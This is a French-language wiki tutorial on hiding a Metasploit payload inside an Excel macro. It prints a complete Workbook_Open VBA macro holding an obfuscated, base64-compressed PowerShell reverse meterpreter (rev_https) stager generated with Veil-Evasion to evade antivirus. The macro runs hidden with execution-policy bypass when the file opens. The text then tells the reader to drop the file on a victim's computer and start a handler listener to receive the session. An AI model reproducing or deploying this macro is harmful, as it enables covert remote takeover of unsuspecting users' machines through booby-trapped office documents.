**Ajouter un payload dans une macro Microsoft Office** **1.Presentation** Les macros sont des petits programmes que l'ont peux développer dans les outils de la suite Microsoft Office. Ils sont développés en vba. **2.Exploitation ** Nous allons générer un payload avec veil-evasion que nous intégrerons à un fichier excel. Il sera auto-executé à l'ouverture du fichier dès l'acceptation de l'execution des macros. __2.1 Génération de la backdoor avec Veil__ Pour l'utilisation de Veil reprenez cette [[http://wikisecu.fr/doku.php?id=metasploit:bypass_av_veil | article]] Cette fois nous allons selectionner le payload 23) powershell/meterpreter/rev_https Nous obtenons un fichier .bat que nous appelerons backdoor.bat __2.2 Transformation du fichier bat en vba__ Le script [[https://github.com/khr0x40sh/MacroShop/blob/master/macro_safe.py | macro_safe.py]] vous permet de transformer votre payload batch en vba. USAGE: macro_safe.py python macro_safe.py backdoor.bat out out sera le fichier où le code vba sera stocké. Vous obtiendrez quelquechose comme cela : Sub Workbook_Open() 'VBA arch detect suggested by "T" Dim Command As String Dim str As String Dim exec As String Arch = Environ("PROCESSOR_ARCHITECTURE") windir = Environ("windir") If Arch = "AMD64" Then Command = windir + "\syswow64\windowspowershell\v1.0\powershell.exe" Else Command = "powershell.exe" End If str = "nVRtc9pGEP7Or9jRXGekMZLFSx2MxjNxcNy4DYQax07LMJ1DWtCF05" str = str + "18OmEw4b93hVXsfO0XnXa1t8+zu8+KPcIFvHca0yspb7JcG+" str = str + "s6KzQKZacdJFI63gzyci5FDIXllg7cWPoON8qOrYF7YWzJ5a" str = str + "WUOnZrn8wvk8RgUTShFMpC8jQRz1gbi5dYSqXV3TZ/dY+Nth" str = str + "hbL/rfXAYGucW7lI7klcuLfWmtEfPS4htSlserF2bHYPIZe2" str = str + "R/dI+54RkS1vHyAYtKuJZ8+TbyBe0moTKc9w1rtjuWUIedyw" str = str + "+Dq4/Xv326+f2Pz8PRl/Gft5O7r/cP3/76m8/jBBfLVHxfyU" str = str + "zp/NEUtlw/bbbPYavd6f569q537gR3epByc2kM37peY1GquE" str = str + "KH2GVrbwcGbUl9cN0psZvOZsDWP9+AHzBEXpQG/S/z79Rm8C" str = str + "dl5gX0gF8g3LTCEHx8hPO2t3/NbmHHFhV7J2oFQefHQlNxce" str = str + "rrQwr6dnIBLJm6S7S+4SrRGfgZ34iMsrIk+IxqaVNvto9qfm" str = str + "wRvcmOsIPc6JhaDbspr4jO2Ibg6HEC7J99BKgSorAh9gWpoc" str = str + "aFnavw6T/j9oDrBYq04Hr7/RuA5Q6IMbhMXIQRE+BLC2ddej" str = str + "s58XYsJSQbsVUFmBACRgB1gXRFgiC+K4orqoC0YiQjEAtwqe" str = str + "eF58Gx6xRBsLXhnK+/fXWozOkIbTBBsxYxjjWNZcgVX6KZ9f" str = str + "uVF80AjRULQZuA91yK5CCnAZdyTrIkzB2zpsR9xDIyRlRwPb" str = str + "jJtrCYBVX6B5wPpEBlowbLgk8kPDRFQPJ1nbJA4xOesk4TnK" str = str + "F+FlLy024QEn+d5QQ2l1TxcHLzEc6CVgQPgvr4VMDoznO8iC" str = str + "kCXUYw/bC1eBBUXrUhC670k5KaJ1fcctdJrc2L/ulp67wdtM" str = str + "56QbcTtN61+72wF54y5YDXYJruESO/2nVSB2ZzNFe4EEocZs" str = str + "QewR/RboFDBDptB3xFVpHzGOHgua6nWYCf86KwqSkbbHPBdL" str = str + "//078nbLK8Vlwz3HTCMKSjG3rRtG7YbamsyDCgVUWj83o0RT" str = str + "Dkpki5pLkMdL51Wd6EsAnTl42euWxDm0RGp+16XhOOIFVpdO" str = str + "XtL4cQm2zTrI6w2jhdWl+VkmRz+K34E4mY0+JhrEnXvbNuGO" str = str + "5p/HG62/8L" exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm" exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRea" exec = exec + "der ($(New-Object IO.Compression.DeflateStream (" exec = exec + "$(New-Object IO.MemoryStream (,$([Convert]::From" exec = exec + "Base64String(\"" " & str & " \"" )))), [IO.Compr" exec = exec + "ession.CompressionMode]::Decompress)), [Text.Enc" exec = exec + "oding]::ASCII)).ReadToEnd();""" Shell exec,vbHide End Sub __2.3 Création d'une macro dans Excel 2013 __ Ouvrez le fichier excel dans lequel vous voulez créer la macro (attention il faut que le fichier soit un .xls pour l'execution des macros). Il faut tout d'abord activer l'onglet développeur Onglet Fichier -> Options -> Personnaliser le ruban -> Cochez la case Développeur -> OK On clique ensuite sur VisualBasic {{ :metasploit:visualbasic.png?nolink |}} Pour que la macro soit executée à l'ouverture du fichier il faut copier coller notre payload (celui en vba) dans "ThisWorkbook". {{ :metasploit:visualbasic2.png?nolink |}} {{ :metasploit:visualbasic3.png?nolink |}} On enregistre et on depose le fichier excel sur l'ordinateur victime. Sur l'ordinateur de l'attaquant il faut démarrer le listener dans metasploit use exploit/multi/handler {{ :metasploit:macro.png?nolink |}} Lorsque l'utilisateur ouvrira le fichier excel on lui demandera d'activer les macro {{ :metasploit:visualbasic4.png?nolink |}} La session meterpreter s'ouvre alors sur le pc de l'attaquant.